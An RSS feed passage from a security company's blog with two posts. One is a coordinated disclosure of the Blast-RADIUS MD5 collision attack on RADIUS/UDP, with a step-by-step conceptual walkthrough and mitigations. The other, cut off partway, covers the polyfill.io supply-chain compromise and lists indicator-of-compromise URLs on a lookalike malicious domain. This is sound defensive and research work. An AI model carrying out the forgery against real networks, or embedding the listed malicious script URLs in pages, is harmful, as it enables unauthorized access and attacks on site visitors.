            </figure><p>RADIUS/TLS, also sometimes known as RADSEC</p><p>Prior to our work, there was no publicly-known attack exploiting MD5 to violate the integrity of the RADIUS/UDP traffic. However, attacks continue to get faster, cheaper, become more widely available, and become more practical against real protocols. Protocols that we thought might be “secure enough”, in spite of their reliance on outdated cryptography, tend to crack as attacks continue to improve over time.</p><p>In our attack, a MitM gains unauthorized access to a networked device by violating the integrity of communications between the device’s RADIUS client and its RADIUS server. In other words, our MitM attacker has access to RADIUS traffic and uses it to pivot into unauthorized access to the devices hosting the RADIUS clients that generated this RADIUS traffic. From there, the attacker can gain administrative access to the networking device and thus control the Internet traffic that flows through the network.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5LYE2xhdiZ3y9kPzsvdXvq/e70d9c9f0e0e94291f5ddbb16df43c62/unnamed-2.png" />
            
            </figure><p>Overview of the Blast-RADIUS attack on RADIUS/UDP in PAP mode</p><p>This Blast-RADIUS attack was devised in collaboration with researchers at the <a href="https://cryptosec.ucsd.edu/">University of California San Diego (UCSD)</a>, <a href="https://www.cwi.nl/en/groups/cryptology/">CWI Amsterdam</a>, <a href="https://www.microsoft.com/en-us/research/group/security-and-cryptography/">Microsoft</a>, and <a href="https://www.bastionzero.com/">BastionZero</a>. In response, CERT has assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3596">CVE-2024-3596</a> and <a href="https://kb.cert.org/vuls/id/456537">VU#456537</a> and worked with RADIUS vendors and developers to coordinate disclosure.</p>
    <div>
      <h3>RADIUS/UDP and its ad hoc use of MD5</h3>
      <a href="#radius-udp-and-its-ad-hoc-use-of-md5">
        
      </a>
    </div>
    <p>RADIUS/UDP has many modes, and our attacks work on all authentication modes except for those using EAP (<a href="https://datatracker.ietf.org/doc/html/rfc3748">Extensible Authentication Protocol</a>).  To simplify exposition, we start by focusing on the RADIUS/UDP PAP (Password Authentication Protocol) authentication mode.</p><p>With RADIUS/UDP PAP authentication, the RADIUS client sends a username and password in an <i>Access-Request</i> packet to the RADIUS server over UDP.  The server drops the packet if its source IP address does not match a known client, but otherwise the <i>Access-Request</i> is entirely unauthenticated. This makes it vulnerable to modifications by a MitM.</p><p>The RADIUS server responds with either an <i>Access-Reject</i>, <i>Access-Accept</i> (or possibly also an <i>Access-Challenge</i>) packet sent to the RADIUS client over UDP.  These response packets are “authenticated” with an ad hoc “<a href="https://en.wikipedia.org/wiki/Message_authentication_code">message authentication code (MAC)</a>” to prevent modifications by an MitM. This “MAC” is based on MD5 and is called the <i>Response Authenticator.</i></p><p>This ad hoc construction in the <i>Response Authenticator</i> attribute has been part of the RADIUS protocol <a href="https://datatracker.ietf.org/doc/draft-ietf-nasreq-radius/01/">since 1994</a>. It was not changed in 1997, when <a href="https://datatracker.ietf.org/doc/html/rfc2104">HMAC was standardized</a> in order to construct a provably-secure cryptographic MAC using a cryptographic hash function. It was not changed in 2004, when <a href="https://link.springer.com/chapter/10.1007/11426639_2">the first collisions in MD5 were found</a>. And it is still part of the protocol today.</p><p>In this post, we’ll describe our improved attack on MD5 as it is used in the RADIUS <i>Response Authenticator</i>.</p>
    <div>
      <h3>The RADIUS Response Authenticator</h3>
      <a href="#the-radius-response-authenticator">
        
      </a>
    </div>
    <p>The <i>Response Authenticator</i> “authenticates” RADIUS responses via an ad hoc MD5 construction that involves concatenating several fields in the RADIUS request and response packets, appending a Secret shared between RADIUS client and RADIUS server, and then hashing the result with MD5. Specifically, the <i>Response Authenticator</i> is computed as</p><p>MD5( Code || ID || Len || Request Authenticator || Attributes || Secret )</p><p>where the Code, ID, Length, and Attributes are copied directly from the response packet, and Request Authenticator is a 16-byte random nonce and included in the corresponding request packet.</p><p>But the RADIUS <i>Response Authenticator</i> is not a good <a href="https://en.wikipedia.org/wiki/Message_authentication_code">message authentication code (MAC)</a>. Here’s why:</p><ul><li><p>First, let’s simplify the construction in the Response Authenticator as: the “MAC” on message X1 is computed as MD5 (X1 || Secret) where X1 is a message and Secret is the secret key for the “MAC”.</p></li><li><p>Next, we note that MD5 is vulnerable to <a href="http://Length_extension_attack">length extension attacks</a>. Namely, given MD5(X) for an unknown X, along with the length of X, then anyone who knows Y can compute MD5(X || Y).Length extension attacks are possible because of how MD5 processes inputs in consecutive blocks, and are the primary reason why <a href="https://datatracker.ietf.org/doc/html/rfc2104">HMAC was standardized in 1997</a>.</p></li><li><p>This block-wise processing is also an issue for the Response Authenticator of RADIUS. If someone finds an MD5 collision, namely two different messages X1 and X2 such that MD5(X1) = MD5(x2), then it follows that MD5 (X1 || Secret) = MD5 (X2 || Secret).</p></li></ul><p>This breaks the security of the "MAC". Here’s how: consider an attacker that finds two messages X1 and X2 that are an MD5 collision. The attacker then learns the "MAC" on X1, which isMD5 (X1 || Secret). Now the attacker can forge the “MAC” on X2 without ever needing to know the Secret, simply by reusing the “MAC” on X1. This attack violates the security definition of a <a href="https://en.wikipedia.org/wiki/Message_authentication_code">message authentication code</a>.</p><ul><li><p>This attack is especially concerning since <a href="https://link.springer.com/chapter/10.1007/11426639_2">finding MD5 collisions has been possible since 2004</a>.The first attacks on MD5 in 2004 produced so-called “identical prefix collisions” of the formMD5 (P || G1 || S) = MD5 (P || G2 || S), where P is a meaningful message, S is a meaningful message, and G1 and G2 are meaningless gibberish. This attack has since been made very fast and can now run on a regular consumer laptop in seconds. While this attack is a devastating blow for any cryptographic hash function, it’s still pretty difficult to use gibberish messages (with identical prefixes) to create practical attacks on real protocols like RADIUS.In 2007, a more <a href="https://www.iacr.org/archive/eurocrypt2007/45150001/45150001.pdf">powerful attack was presented</a>, the “chosen-prefix collision attack”. This attack is slower and more costly, but allows the prefixes in the collision to be different, making it valuable for <a href="https://eprint.iacr.org/2009/111.pdf">practical attacks on real protocols</a>. In other words, the collision is of the formMD5 (P1 || G1 || S) = MD5 (P2 || G2 || S), where P1 and P2 are different freely-chosen meaningful messages, G1 and G2 are meaningless gibberish and S is a meaningful message. We will use an improved version of this attack to break the security of the RADIUS/UDP Response Authenticator.Roughly speaking, in our attack, P1 will correspond to a RADIUS Access-Reject, and P2 will correspond to a RADIUS Access-Accept, thus allowing us to break the security of the protocol by letting an unauthorized user log into a networking device running a RADIUS client.</p></li></ul><p>Before we move on, note that in 2000, <a href="https://datatracker.ietf.org/doc/html/rfc2869">RFC2869</a> added support for HMAC-MD5 to RADIUS/UDP, using a new attribute called <i>Message-Authenticator</i>. HMAC thwarts attacks that use hash function collisions to break the security of a MAC, and HMAC is <a href="https://eprint.iacr.org/2006/043.pdf">a secure MAC as long as the underlying hash function is a pseudorandom function</a>. As of this writing, we have not seen a public attack demonstrating that HMAC-MD5 is not a good MAC.</p><p>Nevertheless, the RADIUS specifications state that <i>Message-Authenticator</i> is optional for all modes of RADIUS/UDP apart from those that use EAP (<a href="https://datatracker.ietf.org/doc/html/rfc3748">Extensible Authentication Protocol</a>). Our attack is for non-EAP authentication modes of RADIUS/UDP using default setups that do not use <i>Message-Authenticator</i>. We further discuss <i>Message-Authenticator</i> and EAP later in this post.</p>
    <div>
      <h3>Blast-RADIUS attack</h3>
      <a href="#blast-radius-attack">
        
      </a>
    </div>
    <p>Given that the ad hoc MD5 construction in the <i>Response Authenticator</i> is usually the only thing protecting the integrity of the RADIUS/UDP message, can we exploit it to break the security of the RADIUS/UDP protocol? Yes, we can.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5j93fliyvr8dbiYEzC4UAG/4029c0b402fce7c1fe9c2ead3537b0e6/AD_4nXei5_IU_xNU4pWzH-3M9XOKZGXH78BzN8OTsDh4KZ_YopiWvctzhZs3uG33f1SMU7gNE_MWvmsXrH1zyA5ziN0BH2D4FoYbC9OaVSlT5LR9STkGScd03q-XAUQe" />
            
            </figure><p>But it wasn’t that easy. We needed to optimize and improve existing chosen-prefix collision attacks on MD5 to (a) make them fast enough to work on packets in flight, (b) respect the limitations imposed by the RADIUS protocol and (c) the RADIUS/UDP packet format.</p><p>Here is how we did it. The attacker uses a MitM between a RADIUS client (e.g. a router) and RADIUS server to change an <i>Access-Reject</i> packet into an <i>Access-Accept</i> packet by exploiting weaknesses in MD5, thus gaining unauthorized access (to the router). The detailed flow of the attack is in the diagram below.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6YqtRYeDSSaP7Z54HjX4zz/d673f089cd9d6eb1635a91c6e8d1a1ff/unnamed--7--1.png" />
            
            </figure><p>Details of the Blast-RADIUS attack</p><p>Let’s walk through each step of the attack.</p><p>1. First, the attacker tries to log in to the device running to the RADIUS client using a bogus username and password.</p><p>2. The RADIUS client sends an <i>Access-Request</i> packet that is intercepted by the MitM.</p><p>3. Next, the MitM then executes an MD5 chosen-prefix collision attack as follows:</p><p>Prefix P1 corresponds to attributes hashed with MD5 to produce the <i>Response Authenticator</i> of an <i>Access-Reject</i> packet. Prefix P2 corresponds to the attributes for an <i>Access-Accept</i> packet. The MitM can predict P1 and P2 simply by looking at the <i>Access-Request</i> packet that it intercepted.</p><p>Next, the attacker then runs the MD5 chosen-prefix collision attack to find the two gibberish blocks, G1 (the RejectGib shown in the figure above) and G2 (the AcceptGib) to obtain an MD5 collision between P1 || RejectGib and P2 || AcceptGib.</p><p>Now we need to get the collision gibberish into the RADIUS packets somehow.</p><p>4. To do this, we are going to use an optional RADIUS/UDP attribute called the <i>Proxy-State</i>.  The <i>Proxy-State</i> is an ideal place to stuff this gibberish because a RADIUS server must echo back any information it receives in a <i>Proxy-State</i> attribute from the RADIUS client. Even better for our attacker, the <i>Proxy-State</i> must also be hashed by MD5 in the corresponding response’s <i>Response Authenticator.</i></p><p>Our MitM takes the gibberish RejectGib and adds it into the <i>Access-Request</i> packet that the MitM intercepted as multiple <i>Proxy-State</i> attributes.  For this to work, we had to ensure that our collision gibberish (RejectGib and AcceptGib) is properly formatted as multiple <i>Proxy-State</i> attributes. This is one novel cryptographic aspect of our attack that you <a href="https://www.blastradius.fail/pdf/radius.pdf">read more about here</a>.</p><p>Next, we are going to exploit the fact that the RADIUS server will echo back the gibberish in its response.</p><p>5. The RADIUS server receives the modified <i>Access-Request</i> and responds with an <i>Access-Reject</i> packet. This <i>Access-Reject</i> packet includes (a) the <i>Proxy-State</i> attributes containing the RejectGib and (b) a <i>Response Authenticator</i> computed as MD5 (P1 || RejectGib || Secret).</p><p>Note that we have successfully changed the input to the <i>Response Authenticator</i> to be one of the MD5 collisions found by the MitM!</p><p>6. Finally, the MitM intercepts the <i>Access-Reject</i> packet, and extracts the <i>Response-Authenticator</i> from the intercepted packet, and uses it to forge an <i>Access-Accept</i> packet using our MD5 collision.</p><p>The forged packet is (a) formatted as an <i>Access-Accept</i> packet that (b) has the AcceptGib in <i>Proxy-State</i> and (c) copies the <i>Response Authenticator</i> from the <i>Access-Reject</i> packet that the MitM intercepted from the server.</p><p>We have now used our MD5 collision to replace an <i>Access-Reject</i> with an <i>Access-Accept.</i></p><p>7. The forged <i>Access-Accept</i> packet arrives at the RADIUS client, which accepts it because</p><p>the input to the <i>Response Authenticator</i> is P2 || AcceptGib</p><p>the <i>Response-Authenticator</i> is MD5 (P1 || RejectGib || Secret)</p><p>P1 || RejectGib is an MD5 collision with P2 || AcceptGib, which implies that</p><p>MD5 (P1 || RejectGib || Secret) = MD5 (P2 || AcceptGib || Secret)In other words, the <i>Response-Authenticator</i> on the forged <i>Access-Accept</i> packet is valid.</p><p>The attacker has successfully logged into the device.</p>
    <div>
      <h3>But, the attack has to be fast.</h3>
      <a href="#but-the-attack-has-to-be-fast">
        
      </a>
    </div>
    <p>For all of this to work, our MD5 collision attack had to be fast! If finding the collision takes too long, the client could time out while waiting for a response packet and the attack would fail.</p><p>Importantly, the attack cannot be precomputed. One of the inputs to the <i>Response Authenticator</i> is the <i>Request Authenticator</i> attribute, a 16-byte random nonce included in the request packet. Because the <i>Request Authenticator</i> is freshly chosen for every request, the MitM cannot predict the <i>Request Authenticator</i> without intercepting the request packet in flight.</p><p>Existing collision attacks on MD5 were too slow for realistic client timeouts; when we started our work, reported attacks took hours (or even up to a day) to find MD5 chosen-prefix collisions. So, we had to devise a new, faster attack on MD5.</p><p>To do this, our team improved <a href="https://github.com/cr-marcstevens/hashclash/pull/37">existing chosen-prefix collision attacks on MD5 and optimized them for speed and space</a> (in addition to figuring out how to make our collision gibberish fit into RADIUS <i>Proxy-State</i> attributes). We demonstrated an improved attack that can run in minutes on an aging cluster of about 2000 CPU cores ranging from 7 to 10 years old, plus four newer low-end GPUs <a href="https://cse.ucsd.edu/">at UCSD</a>. Less than two months after we started this project, we could <a href="https://www.blastradius.fail/pdf/radius.pdf">execute the attack</a> in under five minutes, and validate (in a lab setting) that it works on popular commercial RADIUS implementations.</p><p>While many RADIUS devices (like the ones we tested in the lab) tolerate timeouts of five minutes, the default timeouts on most devices are closer to 30 or 60 seconds. Nevertheless, at this point, we had proved our attack. The attack is highly parallelizable. A sophisticated adversary would have easy access to better computing resources than we did, or could further optimize the attack using low-cost cloud compute resources, GPUs or hardware. In other words, a motivated attacker could use better computing resources to get our attack working against RADIUS devices with timeouts shorter than 5 minutes.</p><p>It was late January 2024. We had an attack that allows an attacker with MitM access to RADIUS/UDP traffic in PAP mode to gain unauthorized access to devices that use RADIUS to decide who should have administrative access to the device. We stopped our work, wrote up a <a href="https://www.blastradius.fail/pdf/radius.pdf">paper</a>, and got in touch with CERT to coordinate disclosure. In response, CERT has assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3596">CVE-2024-3596</a> and <a href="https://kb.cert.org/vuls/id/456537">VU#456537</a> to this vulnerability, which affects all authentication modes of RADIUS/UDP apart from those that use EAP.</p>
    <div>
      <h3>What’s next?</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>It’s never easy to update network protocols, especially protocols like RADIUS that have been widely used since the 1990s and enjoy multi-vendor support. Nevertheless, we hope this research will provide an opportunity for network operators to review the security of their RADIUS deployments, and to take advantage of patches released by many RADIUS vendors in response to our work.</p><p><b>Transitioning to RADIUS over TLS:</b> Following our work, many more vendors now offer <a href="https://datatracker.ietf.org/doc/html/rfc6614">RADIUS over TLS</a> (sometimes known as RADSEC), which wraps the entire RADIUS packet payload into a TLS stream sent from RADIUS client to RADIUS server. This is the best mitigation against our attack and any new MD5 attacks that might emerge.</p><p>Before implementing this mitigation, network operators should verify that they can upgrade both their RADIUS clients and their RADIUS servers to support RADIUS over TLS. There is a risk that legacy clients that cannot be upgraded or patched would still need to speak RADIUS/UDP.</p><p><b>Patches for RADIUS/UDP.</b> There is also a new short-term mitigation for RADIUS/UDP.  In this post, we only cover mitigations for client-server deployments; see this <a href="https://networkradius.com/assets/pdf/radius_and_md5_collisions.pdf">new whitepaper by Alan DeKok</a> for mitigations for more complex “multihop” RADIUS deployment that involve more parties than just a client and a server.</p><p>Earlier, we mentioned that the RADIUS specifications have a <i>Message-Authenticator</i> attribute that uses HMAC-MD5 and is optional for RADIUS/UDP modes that do not use EAP. The new mitigation involves making the <i>Message-Authenticator</i> a requirement for both request and response packets for all modes of RADIUS/UDP. The mitigation works because <i>Message-Authenticator</i> uses HMAC-MD5, which is not susceptible to our MD5 chosen-prefix collision attack.</p><p>Specifically:</p><ol><li><p>The recipient of any RADIUS/UDP packet must always require the packet to contain a <i>Message-Authenticator</i>, and must validate the HMAC-MD5 in the <i>Message-Authenticator</i>.</p></li><li><p>RADIUS servers should send the <i>Message-Authenticator</i> as the first attribute in every <i>Access-Accept</i> or <i>Access-Reject</i> response sent by the RADIUS server.</p></li></ol><p>There are a few things to watch out for when applying this patch in practice. Because RADIUS is a client-server protocol, we need to consider (a) the efficacy of the patch if it is not uniformly applied to all RADIUS clients and servers and (b) the risk of the patch breaking client-server compatibility.</p><p>Let’s first look at (a) efficacy. Patching only the client does not stop our attacks. Why? Because the mitigation requires the sender to include a <i>Message-Authenticator</i> in the packet, AND the recipient to require a <i>Message-Authenticator</i> to be present in the packet and to validate it. (In other words, both client and server have to change their behaviors.)   If the recipient does not require the <i>Message-Authenticator</i> to be present in the packet, the MitM could do a downgrade attack where it strips the <i>Message-Authenticator</i> from the packet and our attack would still work.  Meanwhile, there is some evidence (<a href="https://networkradius.com/assets/pdf/radius_and_md5_collisions.pdf">see this whitepaper by Alan DeKok</a>) that patching only the server might be more effective, due to mitigation #2, sending the <i>Message-Authenticator</i> as the first attribute in the response packet.</p><p>Now let’s consider (b) the risk of breaking client-server compatibility.</p><p>Deploying the patch on clients is unlikely to break compatibility, because the RADIUS specifications have long required that RADIUS servers MUST be able to process any <i>Message-Authenticator</i> attribute sent by a RADIUS client. That said, we cannot rule out the existence of RADIUS servers that do not comply with this long-standing aspect of the specification, so we suggest testing against the RADIUS servers before patching clients.</p><p>On the other side, patching the server without breaking compatibility with legacy clients could be trickier. Commercial RADIUS servers are mostly built on one of a tiny number of implementations (like <a href="https://freeradius.org/">FreeRADIUS</a>), and actively-maintained implementations should be up-to-date on mitigations. However, there is a wider set of RADIUS client implementations, some of which are legacy and difficult to patch. If an unpatched legacy client does not know how to send a <i>Message Authenticator</i> attribute, then the server cannot require it from that client without breaking backwards compatibility.</p><p>The bottom line is that for all of this to work, it is important to patch servers AND patch clients.</p><p>You can find more discussion on RADIUS/UDP mitigations in a <a href="https://networkradius.com/assets/pdf/radius_and_md5_collisions.pdf">new whitepaper by Alan DeKok</a>, which also contains guidance on how to apply these mitigations to more complex “multihop” RADIUS deployments.</p><p><b>Isolating RADIUS traffic.</b> It has long been a best practice to avoid sending RADIUS/UDP or RADIUS/TCP traffic in the clear over the public Internet. On internal networks, a best practice is to isolate RADIUS traffic in a restricted-access management VLAN or to tunnel it over TLS or IPsec. This is helpful because it makes RADIUS traffic more difficult for attackers to access, so that it’s harder to execute our attack. That said, an attacker may still be able to execute our attack to accomplish a privilege escalation if a network misconfiguration or compromise allows a MitM to access RADIUS traffic. Thus, the other mitigations we mention above are valuable even if RADIUS traffic is isolated.</p><p><b>Non-mitigations.</b> While it is possible to use TCP as transport for RADIUS, RADIUS/TCP is experimental, and offers no benefit over RADIUS/UDP or RADIUS/TLS. (Confusingly, RADIUS/TCP is sometimes also called <a href="https://en.wikipedia.org/wiki/RadSec">RADSEC</a>; but in this post we only use RADSEC to describe RADIUS/TLS.) We discuss other non-mitigations in our <a href="https://www.blastradius.fail/pdf/radius.pdf">paper</a>.</p>
    <div>
      <h3>A side note about EAP-TLS</h3>
      <a href="#a-side-note-about-eap-tls">
        
      </a>
    </div>
    <p>When we were checking inside Cloudflare for internal exposure to the Blast-RADIUS attack, we found EAP-TLS used in certain office routers in our internal Wi-Fi networks. We ultimately concluded that these routers were not vulnerable to the attack. Nevertheless, we share our experience here to provide more exposition about the use of EAP (<a href="https://datatracker.ietf.org/doc/html/rfc3748">Extensible Authentication Protocol</a>) and its implications for security. RADIUS uses EAP in several different modes which can be very <a href="https://freeradius.org/documentation/freeradius-server/4.0~alpha1/howto/modules/eap/index.html">complicated</a> and are not the focus of this post. Still, we provide a limited sketch of <a href="https://www.cloudradius.com/the-stages-of-802-1x-authentication/">EAP-TLS</a> to show how it is different from RADIUS/TLS.</p><p>First, it is important to note that even though EAP-TLS and RADIUS/TLS have similar names, the two protocols are very different.  RADIUS/TLS encapsulates RADIUS traffic in TLS (as described above).  But EAP-TLS does not; in fact, EAP-TLS sends RADIUS traffic over UDP!</p><p>EAP-TLS only uses the TLS handshake to authenticate the user; the TLS handshake is executed between the user and the RADIUS server.  However, TLS is not used to encrypt or authenticate the RADIUS packets; the RADIUS client and RADIUS still communicate in the clear over UDP.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/77YFHepvxIYqZoQuMisPC3/b0f8a1ab74d2a3233d393e4dcd7b6680/unnamed--1--2.png" />
            
            </figure><ol><li><p>The user initiates EAP authentication with the RADIUS client.</p></li><li><p>The RADIUS client sends a RADIUS/UDP Access Request to the RADIUS server over UDP.</p></li><li><p>The user and the Authentication Server engage in a TLS handshake. This TLS handshake may or may not be encapsulated inside RADIUS/UDP packets.</p></li><li><p>The parties may communicate further.</p></li><li><p>The RADIUS server sends the RADIUS client a RADIUS/UDP Access-Accept (or Access-Reject) packet over UDP.</p></li><li><p>The RADIUS client indicates to the user that the EAP login was successful (or not).</p></li></ol><p>As shown in the figure, with EAP-TLS the Access-Request and Access-Accept/Access-Reject are RADIUS/UDP messages. Therefore, there is a question as to whether a Blast-RADIUS attack can be executed against these RADIUS/UDP messages.</p><p>We have not demonstrated any attack against an implementation of EAP-TLS in RADIUS.</p><p>However, we cannot rule out the possibility that some EAP-TLS implementations could be vulnerable to a variant of our attack. This is due to ambiguities in the RADIUS specifications. At a high level, the issue is that:</p><ol><li><p>The RADIUS specifications require that any RADIUS/UDP packet with EAP attributes includes the HMAC-MD5 Message-Authenticator attribute, which would stop our attack.</p></li><li><p>However, what happens if a MitM attacker strips the EAP attributes from the RADIUS/UDP response packet?  If the MitM could get away with stripping out the EAP attribute, it could also get away with stripping out the <i>Message-Authenticator</i> (which is optional for non-EAP modes of RADIUS/UDP), and a variant of the Blast-RADIUS attack might work. The ambiguity follows because the specifications are unclear on what the RADIUS client should do if it sent a request with an EAP attribute but got back a response without an EAP attribute and without a Message-Authenticator. See more details and specific quotes from the specifications in our <a href="https://www.blastradius.fail/pdf/radius.pdf">paper</a>.</p></li></ol><p>Therefore, we emphasize that the recommended mitigation is RADIUS/TLS (also called RADSEC), which is different from EAP-TLS.</p><p>As a final note, we mentioned that the Cloudflare’s office routers that were using EAP-TLS were not vulnerable to the Blast-RADIUS attack. This is because these routers were set to run with local authentication, where both the RADIUS client and the RADIUS server are confined inside the router (thus preventing a MitM from gaining access to the traffic sent between RADIUS client and RADIUS server, preventing our attack). Nevertheless, we should note that this vendor’s routers have many settings, some of which involve using an external RADIUS server. Fortunately, this vendor is one of many that have recently released support for RADIUS/TLS (also called RADSEC).</p>
    <div>
      <h3>Work in the IETF</h3>
      <a href="#work-in-the-ietf">
        
      </a>
    </div>
    <p>The IETF is an important venue for standardizing network protocols like RADIUS. The <a href="https://datatracker.ietf.org/wg/radext/about/">IETF’s radext working group</a> is currently considering an initiative to <a href="https://datatracker.ietf.org/doc/draft-ietf-radext-deprecating-radius/">deprecate RADIUS/UDP</a> and create a “standards track” specification of <a href="https://datatracker.ietf.org/doc/draft-ietf-radext-radiusdtls-bis/01/">RADIUS over TLS or DTLS</a>, that should help accelerate the deployment of RADIUS/TLS in the field. We hope that our work will accelerate the community’s ongoing efforts to secure RADIUS and reduce its reliance on MD5.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">48Euekkrb6ge4LqbNE9TsI</guid>
            <dc:creator>Sharon Goldberg</dc:creator>
            <dc:creator>Miro Haller (Guest Author)</dc:creator>
            <dc:creator>Nadia Heninger (Guest Author)</dc:creator>
            <dc:creator>Michael Milano (Guest Author)</dc:creator>
            <dc:creator>Dan Shumow (Guest Author)</dc:creator>
            <dc:creator>Marc Stevens (Guest Author)</dc:creator>
            <dc:creator>Adam Suhl (Guest Author)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatically replacing polyfill.io links with Cloudflare’s mirror for a safer Internet]]></title>
            <link>https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/</link>
            <pubDate>Wed, 26 Jun 2024 20:23:41 GMT</pubDate>
            <description><![CDATA[ polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites ]]></description>
            <content:encoded><![CDATA[ <p></p><p>polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites.</p><p><a href="https://sansec.io/research/polyfill-supply-chain-attack">Multiple reports</a>, corroborated with data seen by our own client-side security system, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, have shown that the polyfill service was being used, and could be used again, to inject malicious JavaScript code into users’ browsers. This is a real threat to the Internet at large given the popularity of this library.</p><p>We have, over the last 24 hours, released an automatic JavaScript URL rewriting service that will rewrite any link to polyfill.io found in a website proxied by Cloudflare <a href="https://cdnjs.cloudflare.com/polyfill/">to a link to our mirror under cdnjs</a>. This will avoid breaking site functionality while mitigating the risk of a supply chain attack.</p><p>Any website on the free plan has this feature automatically activated now. Websites on any paid plan can turn on this feature with a single click.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5R0ht5q4fAwm8gm3a2Xe5U/6b3ec28498e76ff75e37b58f3673e49a/image1-22.png" />
            
            </figure><p>You can find this new feature under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">Security ⇒ Settings</a> on any zone using Cloudflare.</p><p>Contrary to what is stated on the polyfill.io website, Cloudflare has never recommended the polyfill.io service or authorized their use of Cloudflare’s name on their website. We have asked them to remove the false statement, and they have, so far, ignored our requests. This is yet another warning sign that they cannot be trusted.</p><p>If you are not using Cloudflare today, we still highly recommend that you remove any use of polyfill.io and/or find an alternative solution. And, while the automatic replacement function will handle most cases, the best practice is to remove polyfill.io from your projects and replace it with a secure alternative mirror like Cloudflare’s even if you are a customer.</p><p>You can do this by searching your code repositories for instances of polyfill.io and replacing it with <a href="https://cdnjs.cloudflare.com/polyfill/">cdnjs.cloudflare.com/polyfill/</a> (Cloudflare’s mirror). This is a non-breaking change as the two URLs will serve the same polyfill content. All website owners, regardless of the website using Cloudflare, should do this now.</p>
    <div>
      <h2>How we came to this decision</h2>
      <a href="#how-we-came-to-this-decision">
        
      </a>
    </div>
    <p>Back in February, the domain polyfill.io, which hosts a popular JavaScript library, was sold to a new owner: Funnull, a relatively unknown company. <a href="/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk">At the time, we were concerned</a> that this created a supply chain risk. This led us to spin up our own mirror of the polyfill.io code hosted under cdnjs, a JavaScript library repository sponsored by Cloudflare.</p><p>The new owner was unknown in the industry and did not have a track record of trust to administer a project such as polyfill.io. The concern, <a href="https://x.com/triblondon/status/1761852117579427975">highlighted even by the original author</a>, was that if they were to abuse polyfill.io by injecting additional code to the library, it could cause far-reaching security problems on the Internet affecting several hundreds of thousands websites. Or it could be used to perform a targeted supply-chain attack against specific websites.</p><p>Unfortunately, that worry came true on June 25, 2024, as the polyfill.io service was being used to inject nefarious code that, under certain circumstances, redirected users to other websites.</p><p>We have taken the exceptional step of using our ability to modify HTML on the fly to replace references to the polyfill.io CDN in our customers’ websites with links to our own, safe, mirror created back in February.</p><p>In the meantime, additional threat feed providers have also taken the decision to <a href="https://github.com/uBlockOrigin/uAssets/commit/91dfc54aed0f0aa514c1a481c3e63ea16da94c03">flag the domain as malicious</a>. We have not outright blocked the domain through any of the mechanisms we have because we are concerned it could cause widespread web outages given how broadly polyfill.io is used with some estimates indicating <a href="https://w3techs.com/technologies/details/js-polyfillio">usage on nearly 4% of all websites</a>.</p>
    <div>
      <h3>Corroborating data with Page Shield</h3>
      <a href="#corroborating-data-with-page-shield">
        
      </a>
    </div>
    <p>The original report indicates that malicious code was injected that, under certain circumstances, would redirect users to betting sites. It was doing this by loading additional JavaScript that would perform the redirect, under a set of additional domains which can be considered Indicators of Compromise (IoCs):</p>
            <pre><code>https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/gtags.js
https://www.googie-anaiytics.com/keywords/vn-keyword.json
https://www.googie-anaiytics.com/webs-1.0.1.js
https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/webs-1.0.2.js
https://www.googie-anaiytics.com/ga.js
https://www.googie-anaiytics.com/web-1.0.1.js
https://www.googie-anaiytics.com/web.js
https://www.googie-anaiytics.com/collect.js
https://kuurza.com/redirect?from=bitget</code></pre>
            <p>(note the intentional misspelling of Google Analytics)</p><p>Page Shield, our client side security solution, is available on all paid plans. When turned on, it collects information about JavaScript files loaded by end user browsers accessing your website.</p><p>By looking at the database of detected JavaScript files, we immediately found matches with the IoCs provided above starting as far back as 2024-06-08 15:23:51 (first seen timestamp on Page Shield detected JavaScript file). This was a clear indication that malicious activity was active and associated with polyfill.io.</p>
    <div>
      <h3>Replacing insecure JavaScript links to polyfill.io</h3>
      <a href="#replacing-insecure-javascript-links-to-polyfill-io">
        
      </a>
    </div>
    <p>To achieve performant HTML rewriting, we need to make blazing-fast HTML alterations as responses stream through Cloudflare’s network. This has been made possible by leveraging <a href="/rust-nginx-module">ROFL (Response Overseer for FL)</a>. ROFL powers various Cloudflare products that need to alter HTML as it streams, such as <a href="https://developers.cloudflare.com/speed/optimization/content/fonts/">Cloudflare Fonts,</a> <a href="https://developers.cloudflare.com/waf/tools/scrape-shield/email-address-obfuscation/">Email Obfuscation</a> and <a href="https://developers.cloudflare.com/speed/optimization/content/rocket-loader/">Rocket Loader</a></p><p>ROFL is developed entirely in Rust. The memory-safety features of Rust are indispensable for ensuring protection against memory leaks while processing a staggering volume of requests, measuring in the millions per second. Rust's compiled nature allows us to finely optimize our code for specific hardware configurations, delivering performance gains compared to interpreted languages.</p><p>The performance of ROFL allows us to rewrite HTML on-the-fly and modify the polyfill.io links quickly, safely, and efficiently. This speed helps us reduce any additional latency added by processing the HTML file.</p><p>If the feature is turned on, for any HTTP response with an HTML Content-Type, we parse all JavaScript script tag source attributes. If any are found linking to polyfill.io, we rewrite the src attribute to link to our mirror instead. We map to the correct version of the polyfill service while the query string is left untouched.</p><p>The logic will not activate if a Content Security Policy (CSP) header is found in the response. This ensures we don’t replace the link while breaking the CSP policy and therefore potentially breaking the website.</p>
    <div>
      <h3>Default on for free customers, optional for everyone else</h3>
      <a href="#default-on-for-free-customers-optional-for-everyone-else">
        
      </a>
    </div>
